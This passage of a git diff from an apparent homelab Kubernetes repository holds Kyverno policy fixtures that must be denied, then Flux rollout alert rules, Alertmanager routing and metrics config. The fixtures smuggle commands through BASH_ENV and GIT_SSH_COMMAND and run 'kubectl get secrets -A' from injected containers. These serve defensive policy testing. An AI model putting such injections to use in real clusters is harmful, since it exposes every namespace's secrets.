image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
|
||||||
|
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
|
||||||
|
# script runs. Everything else here is the committed shape. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: injected-env
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
env:
|
||||||
|
- name: CONF_ARTIFACTS
|
||||||
|
value: /results
|
||||||
|
- name: BASH_ENV
|
||||||
|
value: /workspace/src/conformance/_pwned
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
|
||||||
|
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: envfrom-whole-secret
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
envFrom:
|
||||||
|
- secretRef:
|
||||||
|
name: anything-in-this-namespace
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
|
||||||
|
# is the thing that reads them. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: injected-initcontainer-env
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
env:
|
||||||
|
- name: CONFORMANCE_GIT_SHA
|
||||||
|
value: "0123456789abcdef0123456789abcdef01234567"
|
||||||
|
- name: GIT_SSH_COMMAND
|
||||||
|
value: "sh -c 'kubectl get secrets -A'"
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
|
||||||
|
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
|
||||||
|
# this case may be unreachable in practice; the rule and this fixture exist because
|
||||||
|
# "probably rejected upstream" is not a boundary. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-ephemeral-container
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
ephemeralContainers:
|
||||||
|
- name: debugger
|
||||||
|
image: docker.io/library/alpine:latest
|
||||||
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
# The requesting identity the policy keys on. Without this the `subjects` match never fires and
|
||||||
|
# every case below would trivially "pass" — proving nothing.
|
||||||
|
apiVersion: cli.kyverno.io/v1alpha1
|
||||||
|
kind: UserInfo
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
userInfo:
|
||||||
|
username: system:serviceaccount:conformance:conformance-trigger
|
||||||
|
groups:
|
||||||
|
- system:serviceaccounts
|
||||||
|
- system:serviceaccounts:conformance
|
||||||
|
- system:authenticated
|
||||||
@@ -799,6 +799,123 @@ spec:
|
|||||||
summary: "Flux resource suspended: {{ $labels.kind }}/{{ $labels.name }}"
|
summary: "Flux resource suspended: {{ $labels.kind }}/{{ $labels.name }}"
|
||||||
description: "{{ $labels.kind }} {{ $labels.namespace }}/{{ $labels.name }} has been suspended for 1h — reconciliation/drift-correction is off."
|
description: "{{ $labels.kind }} {{ $labels.namespace }}/{{ $labels.name }} has been suspended for 1h — reconciliation/drift-correction is off."
|
||||||
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-suspended"
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-suspended"
|
||||||
|
# ===================================================================================
|
||||||
|
# DEPLOY NOTIFICATIONS (added 2026-09-29). The only rules in this repo whose PURPOSE is to
|
||||||
|
# send mail on the HEALTHY path: the operator asked to be told when Flux starts applying a
|
||||||
|
# git change and when it finishes. Read the two together — they share one expression and
|
||||||
|
# differ only in `for` and severity.
|
||||||
|
#
|
||||||
|
# WHY A RULE AND NOT A FLUX Alert/Provider. Neither Flux event can be filtered into a
|
||||||
|
# deploy signal. Measured on prod 2026-09-29: a Kustomization emits ReconciliationSucceeded
|
||||||
|
# on EVERY interval tick (101 events in one hour across 16 Kustomizations) with the message
|
||||||
|
# "Reconciliation finished in 324ms, next run in 10m0s" — byte-identical whether the apply
|
||||||
|
# changed anything or not; and `Progressing` is worse, because five Kustomizations re-apply
|
||||||
|
# the same object on every tick (event counts 2505/2504/2501/2495/2490), so anything keyed
|
||||||
|
# on it mails five times every ten minutes forever. The applied REVISION is the only signal
|
||||||
|
# that moves when and only when git moves. See the kube_flux_* block in
|
||||||
|
# kube-prometheus-stack.yaml for how it reaches the TSDB.
|
||||||
|
#
|
||||||
|
# THE EXPRESSION. `unless on (revision)` keeps a Kustomization only while its applied
|
||||||
|
# revision is absent from the set of revisions the GitRepository has fetched — i.e. while it
|
||||||
|
# is behind main. It empties itself as each Kustomization catches up, which is what makes
|
||||||
|
# the RESOLVED notification mean "the rollout completed" rather than "the alert timed out".
|
||||||
|
# Alertmanager's email-deploy receiver carries send_resolved: true for exactly that reason,
|
||||||
|
# and group_by: [alertname] collapses all 16 Kustomizations into one mail per rollout.
|
||||||
|
#
|
||||||
|
# TWO GUARDS, BOTH LOAD-BEARING, BOTH UNIT-TESTED (tests/flux-rollout.test.yaml):
|
||||||
|
# * `and on () (count(...) > 0)` — if kube_flux_gitrepository_info is ABSENT (KSM rolled
|
||||||
|
# without the ConfigMap, the flux RBAC lost, customResourceState reverted) then
|
||||||
|
# `unless on (revision) <empty>` removes NOTHING and all 16 Kustomizations alert
|
||||||
|
# forever, for no reason. That is the permanently-firing failure mode this repo already
|
||||||
|
# shipped once (CNPG, 2026-09-12). The guard makes the missing-exporter case SILENT,
|
||||||
|
# which is the correct direction for a notification — a broken exporter is what
|
||||||
|
# FluxReconciliationFailure and the platform-health.monitoring-self rules are for.
|
||||||
|
# * `unless on (namespace, name) (kube_flux_kustomization_suspended == 1)` — a suspended
|
||||||
|
# Kustomization pins an old revision BY DESIGN, and would otherwise hold a rollout open
|
||||||
|
# for as long as it stays suspended, so the resolved mail (the "it finished" half of the
|
||||||
|
# feature) would never arrive. FluxResourceSuspended above is what reports that state.
|
||||||
|
#
|
||||||
|
# `revision!=""` on both sides: KSM omits a label whose path is absent, so a Kustomization
|
||||||
|
# that has never applied anything — or a GitRepository with no artifact yet — publishes the
|
||||||
|
# series with no `revision` label. Without the matcher those group together under the empty
|
||||||
|
# string and compare EQUAL, i.e. a never-applied Kustomization would read as converged.
|
||||||
|
#
|
||||||
|
# A THIRD THING THAT MUST NOT REGRESS — THE SEVERITY LABEL. These alerts are delivered
|
||||||
|
# because of the labels they do NOT carry as much as the ones they do. Do not "tidy" this
|
||||||
|
# pair by giving FluxRolloutInProgress a `severity`, and never `severity: info`: the chart's
|
||||||
|
# InfoInhibitor rule plus its `severity="info"` inhibit_rule suppress an info alert whenever
|
||||||
|
# it is the only thing firing in its namespace, which is every healthy deploy. Measured on
|
||||||
|
# prod 2026-09-30 — the alert fired correctly for 12 Kustomizations, resolved correctly, and
|
||||||
|
# was inhibited in between. The full reasoning is on the `notification: deploy` label below.
|
||||||
|
# ===================================================================================
|
||||||
|
- alert: FluxRolloutInProgress
|
||||||
|
expr: |
|
||||||
|
(
|
||||||
|
(
|
||||||
|
kube_flux_kustomization_info{revision!=""}
|
||||||
|
unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
|
||||||
|
)
|
||||||
|
unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
|
||||||
|
)
|
||||||
|
and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
|
||||||
|
# NO `for:`, ON PURPOSE. Every other rule in this file waits, because every other rule
|
||||||
|
# reports a fault and a fault that clears in 30s is noise. This one reports an EVENT the
|
||||||
|
# operator asked to be told about, so the failure mode to avoid is the opposite: a `for:`
|
||||||
|
# of even 1m would silently swallow any rollout that converged faster than that (a manual
|
||||||
|
# `flux reconcile`, a change touching one Kustomization), and a deploy notification that
|
||||||
|
# only sometimes arrives is worse than no notification at all.
|
||||||
|
labels:
|
||||||
|
# ROUTED BY `notification`, AND DELIBERATELY CARRYING NO `severity` (fixed 2026-09-30).
|
||||||
|
# This alert originally used `severity: info`. That was WRONG, and wrong in the silent
|
||||||
|
# direction — measured on prod within minutes of the first real deploy.
|
||||||
|
# kube-prometheus-stack ships `general.rules` -> InfoInhibitor:
|
||||||
|
# group by (namespace) (ALERTS{severity="info"} == 1)
|
||||||
|
# unless on (namespace) group by (namespace)
|
||||||
|
# (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
|
||||||
|
# which fires for any namespace that has a firing info alert AND NOTHING ELSE WRONG in
|
||||||
|
# it; paired with the chart's inhibit_rule
|
||||||
|
# source_matchers: [alertname="InfoInhibitor"]
|
||||||
|
# target_matchers: [severity="info"]
|
||||||
|
# equal: [namespace]
|
||||||
|
# the effect is that an info alert is suppressed EXACTLY WHEN it is the only thing
|
||||||
|
# happening in its namespace. For a deploy notification that is the only case that
|
||||||
|
# matters: on a healthy rollout of a healthy cluster, flux-system has no warning or
|
||||||
|
# critical alert, so InfoInhibitor fired and this alert never reached the receiver.
|
||||||
|
# Verified live: InfoInhibitor went active 2026-09-30T04:58:48Z, the same moment this
|
||||||
|
# alert began firing for 12 Kustomizations.
|
||||||
|
# Upstream's intent is explicit — `severity: info` means "only worth showing next to a
|
||||||
|
# real problem". A deploy notice is not that, so it must not claim that severity.
|
||||||
|
# `notification` is a label no inhibit_rule in the chart targets (all three match on
|
||||||
|
# severity values), and omitting `severity` also stops InfoInhibitor firing for
|
||||||
|
# flux-system at all. Route: platform/monitoring/kube-prometheus-stack.yaml matches
|
||||||
|
# `notification = "deploy"` -> the email-deploy receiver, subject "[FLUX] applying|applied".
|
||||||
|
notification: deploy
|
||||||
|
annotations:
|
||||||
|
summary: "Flux is applying a new revision — {{ $labels.name }} is behind main"
|
||||||
|
description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has applied {{ $labels.revision }}, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
|
||||||
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
|
||||||
|
# The escalation: a rollout that STARTED and never finished. Same expression, so it cannot
|
||||||
|
# disagree with the notification above about what "behind main" means; 30m is comfortably
|
||||||
|
# past the slowest legitimate convergence (the longest Kustomization interval is 1h for
|
||||||
|
# cilium, but its dependents are 10m and a wave chain converges well inside 30m).
|
||||||
|
# severity: warning, so this one takes the normal email-warning path and reads as a fault.
|
||||||
|
- alert: FluxRolloutStuck
|
||||||
|
expr: |
|
||||||
|
(
|
||||||
|
(
|
||||||
|
kube_flux_kustomization_info{revision!=""}
|
||||||
|
unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
|
||||||
|
)
|
||||||
|
unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
|
||||||
|
)
|
||||||
|
and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
|
||||||
|
for: 30m
|
||||||
|
labels:
|
||||||
|
severity: warning
|
||||||
|
annotations:
|
||||||
|
summary: "Flux rollout has not completed: {{ $labels.name }} stuck on an old revision"
|
||||||
|
description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has been behind the flux-system GitRepository revision for 30m (applied {{ $labels.revision }}) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
|
||||||
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
|
||||||
|
|
||||||
# =====================================================================================
|
# =====================================================================================
|
||||||
# Certificates — cert-manager
|
# Certificates — cert-manager
|
||||||
|
|||||||
@@ -131,6 +131,44 @@ spec:
|
|||||||
# page-worthy — notify fast, remind often
|
# page-worthy — notify fast, remind often
|
||||||
group_wait: 10s
|
group_wait: 10s
|
||||||
repeat_interval: 1h
|
repeat_interval: 1h
|
||||||
|
# DEPLOY NOTICES, not health alerts (added 2026-09-29). FluxRolloutInProgress fires
|
||||||
|
# the moment the applied revision diverges from main and RESOLVES when every
|
||||||
|
# Kustomization has caught up — so the FIRED mail is "a deploy started" and the
|
||||||
|
# RESOLVED mail is "it finished". Both halves are the product, which is why
|
||||||
|
# send_resolved must stay true on the receiver below.
|
||||||
|
#
|
||||||
|
# A DEDICATED ROUTE, because the default receiver is `email-warning`: without it a
|
||||||
|
# routine deploy arrives subject-lined "[WARNING]" and becomes indistinguishable from a
|
||||||
|
# real platform fault, which is how alert mail stops being read at all.
|
||||||
|
#
|
||||||
|
# MATCHES `notification`, NOT `severity` (corrected 2026-09-30). This route first read
|
||||||
|
# `severity = "info"`, which routed correctly and then had the mail SUPPRESSED before it
|
||||||
|
# was sent: the chart's own InfoInhibitor rule fires for any namespace holding a firing
|
||||||
|
# info alert with no warning/critical beside it, and its inhibit_rule
|
||||||
|
# (source alertname="InfoInhibitor" -> target severity="info", equal [namespace]) drops
|
||||||
|
# exactly that alert. A healthy deploy in a healthy flux-system is precisely that case,
|
||||||
|
# so the notification was inhibited on every occasion it was wanted. Measured live on
|
||||||
|
# prod 2026-09-30: InfoInhibitor went active at 04:58:48Z as the alert began firing.
|
||||||
|
# Routing on a non-severity label sidesteps all three of the chart's inhibit_rules,
|
||||||
|
# which match on severity values only. See the label's own comment in alerts.yaml.
|
||||||
|
- matchers: ['notification = "deploy"']
|
||||||
|
receiver: email-deploy
|
||||||
|
# One mail per ROLLOUT, not per Kustomization: the alert fires once per lagging
|
||||||
|
# Kustomization (16 possible), and grouping on alertname alone collapses them into a
|
||||||
|
# single mail that lists all of them. The default group_by would have split them by
|
||||||
|
# namespace as well — harmless today (all 16 are in flux-system) and wrong the moment
|
||||||
|
# a Kustomization lives elsewhere.
|
||||||
|
group_by: ["alertname"]
|
||||||
|
group_wait: 30s
|
||||||
|
# 2m, not the 5m default: group_interval also bounds how long a group's RESOLVED
|
||||||
|
# notification waits, and holding "the deploy finished" four minutes behind the
|
||||||
|
# deploy finishing makes the completion half of this feature feel broken.
|
||||||
|
group_interval: 2m
|
||||||
|
# A deploy notice is a statement about one revision, so re-sending it on the 12h
|
||||||
|
# default would just repeat old news. 24h is long enough never to fire twice for one
|
||||||
|
# rollout, while still re-nagging if a rollout is genuinely stuck for a whole day
|
||||||
|
# (FluxRolloutStuck, severity warning, is the real escalation for that case).
|
||||||
|
repeat_interval: 24h
|
||||||
receivers:
|
receivers:
|
||||||
- name: email-warning
|
- name: email-warning
|
||||||
email_configs:
|
email_configs:
|
||||||
@@ -144,6 +182,19 @@ spec:
|
|||||||
send_resolved: true
|
send_resolved: true
|
||||||
headers:
|
headers:
|
||||||
subject: '[CRITICAL] {{ .CommonLabels.alertname }} ({{ .CommonLabels.namespace }})'
|
subject: '[CRITICAL] {{ .CommonLabels.alertname }} ({{ .CommonLabels.namespace }})'
|
||||||
|
# Flux deploy notices (the `severity = "info"` route above).
|
||||||
|
- name: email-deploy
|
||||||
|
email_configs:
|
||||||
|
- to: "[email protected]" # alert inbox (operator: change if a different inbox is wanted)
|
||||||
|
# BOTH transitions are the deliverable here: firing = "Flux started applying a new
|
||||||
|
# revision", resolved = "every Kustomization reached it". Turning this off would
|
||||||
|
# delete the completion notification, not merely reduce noise.
|
||||||
|
send_resolved: true
|
||||||
|
headers:
|
||||||
|
# `[FLUX] applying` / `[FLUX] applied` — readable in a notification preview
|
||||||
|
# without opening the mail, and never the word WARNING for a healthy deploy.
|
||||||
|
# .Status is "firing" or "resolved" in Alertmanager's notification template data.
|
||||||
|
subject: '[FLUX] {{ if eq .Status "firing" }}applying{{ else }}applied{{ end }} — {{ .CommonLabels.alertname }}'
|
||||||
|
|
||||||
# --- Grafana: dashboards (R-OBS-03), surfaced in the C2 UI (docs/12) behind Keycloak SSO ---
|
# --- Grafana: dashboards (R-OBS-03), surfaced in the C2 UI (docs/12) behind Keycloak SSO ---
|
||||||
grafana:
|
grafana:
|
||||||
@@ -272,11 +323,33 @@ spec:
|
|||||||
# `config` alone does not restart the pod: after editing it, `kubectl -n monitoring rollout
|
# `config` alone does not restart the pod: after editing it, `kubectl -n monitoring rollout
|
||||||
# restart deploy/kube-prometheus-stack-kube-state-metrics`. Enabling it the first time
|
# restart deploy/kube-prometheus-stack-kube-state-metrics`. Enabling it the first time
|
||||||
# changes the pod spec (new arg + volume), so the initial rollout is automatic.
|
# changes the pod spec (new arg + volume), so the initial rollout is automatic.
|
||||||
|
# FORCE A POD ROLL WHEN `customResourceState.config` BELOW CHANGES. The chart renders that
|
||||||
|
# config into a ConfigMap and mounts it, but the KSM Deployment carries NO checksum annotation
|
||||||
|
# over it — documented in the block above, and the reason the Velero metrics needed a manual
|
||||||
|
# `rollout restart` when they were first tuned. So a PR that edits ONLY `config` changes the
|
||||||
|
# ConfigMap, leaves the pod spec byte-identical, and KSM keeps running the OLD collector set:
|
||||||
|
# the new metrics never appear and every alert reading them is inert, while the PR is merged
|
||||||
|
# and green. That is the exact shape of defect this repo keeps getting bitten by, so it is
|
||||||
|
# closed declaratively rather than by remembering an operator step. BUMP THIS VALUE IN THE
|
||||||
|
# SAME COMMIT as any `customResourceState.config` edit and Flux rolls the pod for you.
|
||||||
|
# (Same mechanism as grafana.podAnnotations/oidc-rollout above.)
|
||||||
|
podAnnotations:
|
||||||
|
homelab.keithjackson.dev/crs-config-rollout: "1"
|
||||||
rbac:
|
rbac:
|
||||||
extraRules:
|
extraRules:
|
||||||
- apiGroups: ["velero.io"]
|
- apiGroups: ["velero.io"]
|
||||||
resources: ["schedules"]
|
resources: ["schedules"]
|
||||||
verbs: ["get", "list", "watch"]
|
verbs: ["get", "list", "watch"]
|
||||||
|
# Flux applied-revision metrics (the kube_flux_* block at the end of `config` below).
|
||||||
|
# MANDATORY for the same measured reason as velero.io above: without read access KSM
|
||||||
|
# publishes the custom-resource-state metrics as an EMPTY SET and logs a forbidden
|
||||||
|
# error, which would leave FluxRolloutInProgress/FluxRolloutStuck inert — silently.
|
||||||
|
- apiGroups: ["kustomize.toolkit.fluxcd.io"]
|
||||||
|
resources: ["kustomizations"]
|
||||||
|
verbs: ["get", "list", "watch"]
|
||||||
|
- apiGroups: ["source.toolkit.fluxcd.io"]
|
||||||
|
resources: ["gitrepositories"]
|
||||||
|
verbs: ["get", "list", "watch"]
|
||||||
customResourceState:
|
customResourceState:
|
||||||
enabled: true
|
enabled: true
|
||||||
config:
|
config:
|
||||||
@@ -328,6 +401,89 @@ spec:
|
|||||||
labelsFromPath:
|
labelsFromPath:
|
||||||
cron: [spec, schedule]
|
cron: [spec, schedule]
|
||||||
phase: [status, phase]
|
phase: [status, phase]
|
||||||
|
# --- FLUX APPLIED REVISION AS METRICS (added 2026-09-29) --------------------------
|
||||||
|
# WHY. Nothing in the TSDB could answer "is the cluster running the commit that is on
|
||||||
|
# main?", so "Flux started applying a git change" and "Flux is idle" were
|
||||||
|
# indistinguishable and a deploy could start, stall halfway and never finish with
|
||||||
|
# nothing to say so. Measured on prod 2026-09-29, all three candidate signals fail:
|
||||||
|
# * gotk_* (scraped by flux-podmonitor.yaml) carries NO revision label anywhere —
|
||||||
|
# gotk_reconcile_condition 120 series, gotk_suspend_status 40, not one with a
|
||||||
|
# revision. It can say a Kustomization is unhealthy, never which commit it holds.
|
||||||
|
# * the EVENT stream cannot be filtered into a deploy signal: a Kustomization emits
|
||||||
|
# ReconciliationSucceeded on EVERY interval tick — 101 events in one hour across
|
||||||
|
# 16 Kustomizations — with the message "Reconciliation finished in 324ms, next run
|
||||||
|
# in 10m0s", byte-identical whether the apply changed anything or not.
|
||||||
|
# * `Progressing` is worse, not better: five Kustomizations re-apply the same object
|
||||||
|
# on every single tick (2505/2504/2501/2495/2490 on one event object each), so
|
||||||
|
# anything keyed on it fires five times every ten minutes, forever.
|
||||||
|
# The applied REVISION is the one signal that moves only when git moves, and it lives
|
||||||
|
# in these two objects' status and nowhere else:
|
||||||
|
# GitRepository/flux-system .status.artifact.revision = what main is (poll 1m)
|
||||||
|
# Kustomization/* .status.lastAppliedRevision = what is applied
|
||||||
|
# Exporting both makes "applied != desired" a PromQL question, which is what
|
||||||
|
# FluxRolloutInProgress / FluxRolloutStuck ask (platform/monitoring/alerts.yaml).
|
||||||
|
#
|
||||||
|
# NAMING: kube_flux_*, NOT gotk_* — the same rule as kube_velero_schedule_* above.
|
||||||
|
# These are kube-state-metrics series ABOUT Kubernetes objects and must never be
|
||||||
|
# mistaken for the gotk_* family the Flux controllers themselves export.
|
||||||
|
#
|
||||||
|
# VERIFIED ON PROD before writing this (2026-09-29): both CRDs serve `v1` as the
|
||||||
|
# STORAGE version (kustomizations.kustomize.toolkit.fluxcd.io,
|
||||||
|
# gitrepositories.source.toolkit.fluxcd.io) and both status paths below are populated
|
||||||
|
# — artifact.revision=main@sha1:b93594b7…, and all 16 Kustomizations reporting that
|
||||||
|
# same revision as lastAppliedRevision.
|
||||||
|
#
|
||||||
|
# Cost: 2 series per Kustomization (16 today) + 1 for the GitRepository = 33.
|
||||||
|
- groupVersionKind:
|
||||||
|
group: kustomize.toolkit.fluxcd.io
|
||||||
|
version: v1
|
||||||
|
kind: Kustomization
|
||||||
|
metricNamePrefix: kube_flux_kustomization
|
||||||
|
labelsFromPath:
|
||||||
|
name: [metadata, name]
|
||||||
|
namespace: [metadata, namespace]
|
||||||
|
metrics:
|
||||||
|
- name: info
|
||||||
|
help: "Revision a Flux Kustomization has applied (status.lastAppliedRevision)."
|
||||||
|
each:
|
||||||
|
type: Info
|
||||||
|
info:
|
||||||
|
# KSM OMITS a label whose path is absent (the same behaviour noted for the
|
||||||
|
# Velero `phase` label above), so a Kustomization that has never applied
|
||||||
|
# anything publishes this series with NO `revision` label at all rather than
|
||||||
|
# an empty one. Every rule that reads it therefore matches revision!="" —
|
||||||
|
# otherwise those would collapse together under the empty string and a
|
||||||
|
# never-applied Kustomization would compare equal to a converged one.
|
||||||
|
labelsFromPath:
|
||||||
|
revision: [status, lastAppliedRevision]
|
||||||
|
- name: suspended
|
||||||
|
help: "1 if the Flux Kustomization is suspended (spec.suspend)."
|
||||||
|
each:
|
||||||
|
type: Gauge
|
||||||
|
gauge:
|
||||||
|
# nilIsZero is MANDATORY, exactly as for the Velero `paused` gauge above:
|
||||||
|
# measured 2026-09-29, NONE of the 16 Kustomizations sets spec.suspend at
|
||||||
|
# all. Without it this metric would not exist, and the `unless` that stops a
|
||||||
|
# suspended Kustomization holding a rollout notification open forever would
|
||||||
|
# silently match nothing.
|
||||||
|
path: [spec, suspend]
|
||||||
|
nilIsZero: true
|
||||||
|
- groupVersionKind:
|
||||||
|
group: source.toolkit.fluxcd.io
|
||||||
|
version: v1
|
||||||
|
kind: GitRepository
|
||||||
|
metricNamePrefix: kube_flux_gitrepository
|
||||||
|
labelsFromPath:
|
||||||
|
name: [metadata, name]
|
||||||
|
namespace: [metadata, namespace]
|
||||||
|
metrics:
|
||||||
|
- name: info
|
||||||
|
help: "Revision of the artifact a Flux GitRepository has fetched (what main is)."
|
||||||
|
each:
|
||||||
|
type: Info
|
||||||
|
info:
|
||||||
|
labelsFromPath:
|
||||||
|
revision: [status, artifact, revision]
|
||||||
# MEMORY RAISED 2026-09-13 after 91 OOMKills. Measured, not guessed: working set 111 MiB
|
# MEMORY RAISED 2026-09-13 after 91 OOMKills. Measured, not guessed: working set 111 MiB
|
||||||
# with a 6h peak of 123.3 MiB against the old 128Mi limit — KSM was dying on every spike,
|
# with a 6h peak of 123.3 MiB against the old 128Mi limit — KSM was dying on every spike,
|
||||||
# roughly every 11 minutes (exit 137). That matters beyond the restarts: THIRTEEN alert
|
# roughly every 11 minutes (exit 137). That matters beyond the restarts: THIRTEEN alert
|
||||||
|
|||||||
@@ -0,0 +1,268 @@
|
|||||||
|
# promtool rule-unit tests for FluxRolloutInProgress / FluxRolloutStuck — the deploy-notification
|
||||||
|
# pair in the platform-health.flux group (platform/monitoring/alerts.yaml).
|
||||||
|
# Run with: platform/monitoring/tests/run.sh (the merge gate runs the same harness via
|
||||||
|
# conformance/tests/l0-static/alert-rules-unit-tested)
|
||||||
|
#
|
||||||
|
# WHY THESE TESTS CARRY MORE WEIGHT THAN USUAL. This pair is a NOTIFICATION, so both failure
|
||||||
|
# directions are silent in production and neither is visible on a healthy cluster:
|
||||||
|
# * fire when it should not -> a permanently-firing "deploy in progress" that mails on every
|
||||||
|
# repeat_interval and trains the operator to ignore Flux mail. Shipped once already in this
|
||||||
|
# repo (CNPG, 2026-09-12).
|
||||||
|
# * fail to fire -> no deploy notification at all, which is the exact complaint this pair was
|
||||||
|
# written to answer. Indistinguishable from "no deploys happened".
|
||||||
|
# So every clause is pinned in both directions here, and the two GUARDS in the expression (the
|
||||||
|
# missing-exporter guard and the suspended-Kustomization exclusion) each get a test whose ONLY
|
||||||
|
# job is to fail if that clause is deleted.
|
||||||
|
#
|
||||||
|
# MODELLING A REVISION CHANGE. `revision` is a LABEL, so a Kustomization moving from revision A to
|
||||||
|
# revision B is modelled as series A ending and series B beginning — not as one series changing
|
||||||
|
# value. Prometheus' 5m lookback then means series A is still resolvable for 5m after its last
|
||||||
|
# sample, so every eval_time below is placed at least 5m clear of a handoff. That is deliberate:
|
||||||
|
# it keeps these tests about the RULE and not about staleness semantics.
|
||||||
|
#
|
||||||
|
# Sample interval 1m; the longest `for` under test is 30m.
|
||||||
|
rule_files:
|
||||||
|
- generated.rules.yaml
|
||||||
|
|
||||||
|
evaluation_interval: 1m
|
||||||
|
|
||||||
|
tests:
|
||||||
|
# =============================================================================================
|
||||||
|
# 1. CONVERGED — the steady state this cluster is in almost all of the time.
|
||||||
|
# Both rules MUST be silent. This is the "not permanently firing" half of the proof, and it
|
||||||
|
# is the test that fails if `unless on (revision)` is mis-spelled: the left-hand side is
|
||||||
|
# non-empty here, and only the revision match suppresses it.
|
||||||
|
# =============================================================================================
|
||||||
|
- interval: 1m
|
||||||
|
name: converged (every Kustomization on the GitRepository revision) - silent
|
||||||
|
input_series:
|
||||||
|
